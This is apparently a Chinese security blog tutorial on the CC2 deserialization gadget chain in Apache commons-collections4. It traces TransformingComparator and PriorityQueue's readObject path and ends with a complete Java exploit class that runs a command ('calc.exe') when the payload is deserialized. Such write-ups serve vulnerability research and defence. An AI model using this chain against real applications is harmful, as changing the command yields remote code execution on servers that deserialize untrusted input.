【Web】Java反序列化之CC2——commons-collections4的新链之一

目录

关于commons-collections4

一个重要的思维模型

触发Transform的关键类:TransformingComparator

反序列化的入口:PriorityQueue

Exp


关于commons-collections4

commons-collections4 是 Apache Commons 组件库中的一个项目,它是对旧版本 commons-collections 的重构和升级。主要的区别包括:

  1. API 设计:commons-collections4 重新设计了 API,并且引入了一些新的功能和改进,同时也修复了一些旧版本中存在的 bug。

  2. 性能优化:commons-collections4 进行了性能优化,使得在实际使用中更加高效。

  3. 安全性增强:commons-collections4 引入了更多的安全性措施,以防止常见的安全漏洞。

commons-collections4有了两条新的利用链,CC2和CC4,这篇文章简单聊聊CC2

一个重要的思维模型

CC链是一条Serializable#readObject()到Transformer#transform()的调用链

触发Transform的关键类:TransformingComparator

看其compare方法就可,简单粗暴直接调用transform

复制代码
public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

现在我们的任务就是怎么去调用TransformingComparator的compare方法

反序列化的入口:PriorityQueue

先看PriorityQueue的构造方法,要求传入一个int和一个Comparator

复制代码
 public PriorityQueue(int initialCapacity,
                         Comparator<? super E> comparator) {
        // Note: This restriction of at least one is not actually needed,
        // but continues for 1.5 compatibility
        if (initialCapacity < 1)
            throw new IllegalArgumentException();
        this.queue = new Object[initialCapacity];
        this.comparator = comparator;
    }

再来看PriorityQueue的readObject方法

复制代码
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Object[].class, size);
        final Object[] es = queue = new Object[Math.max(size, 1)];

        // Read in all elements.
        for (int i = 0, n = size; i < n; i++)
            es[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

最后调用了heapify方法

显然由构造方法传入的comparator不为null,heapify方法进了else分支调用siftDownUsingComparator

复制代码
 private void heapify() {
        final Object[] es = queue;
        int n = size, i = (n >>> 1) - 1;
        final Comparator<? super E> cmp;
        if ((cmp = comparator) == null)
            for (; i >= 0; i--)
                siftDownComparable(i, (E) es[i], es, n);
        else
            for (; i >= 0; i--)
                siftDownUsingComparator(i, (E) es[i], es, n, cmp);
    }

而siftDownUsingComparator内部会调用构造方法传入的comparator的compare方法,此时我们只要令comparator为TransformingComparator即可完成利用链的调用。

复制代码
 private static <T> void siftDownUsingComparator(
        int k, T x, Object[] es, int n, Comparator<? super T> cmp) {
        // assert n > 0;
        int half = n >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = es[child];
            int right = child + 1;
            if (right < n && cmp.compare((T) c, (T) es[right]) > 0)
                c = es[child = right];
            if (cmp.compare(x, (T) c) <= 0)
                break;
            es[k] = c;
            k = child;
        }
        es[k] = x;
    }

Exp

复制代码
package com.CC2;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class CC2 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Comparator comparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);
        setFieldValue(transformerChain, "iTransformers", transformers);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}
相关推荐
乐观勇敢坚强的老彭11 小时前
c++信奥寒假营集训01
android·java·c++
☀Mark_LY11 小时前
MyBatis-Flex入门以及多数据源配置
java·mybatis
郑州光合科技余经理11 小时前
同城配送调度系统实战:JAVA微服务
java·开发语言·前端·后端·微服务·中间件·php
独自破碎E11 小时前
【模拟】顺时针旋转矩阵
java·线性代数·矩阵
TsengOnce11 小时前
Docker 安装达梦8数据库-5步成功
java·数据库
树码小子11 小时前
Spring框架:Spring程序快速上手
java·后端·spring
李松桃11 小时前
python第三次作业
java·前端·python
马士兵教育11 小时前
计算机专业学生入行IT行业,编程语言如何选择?
java·开发语言·c++·人工智能·python
本妖精不是妖精11 小时前
搭建 JNI 开发环境:使用 IntelliJ IDEA 和 CLion
java
老毛肚12 小时前
uniapp-ruoyi-spring部署宝塔
java·spring·uni-app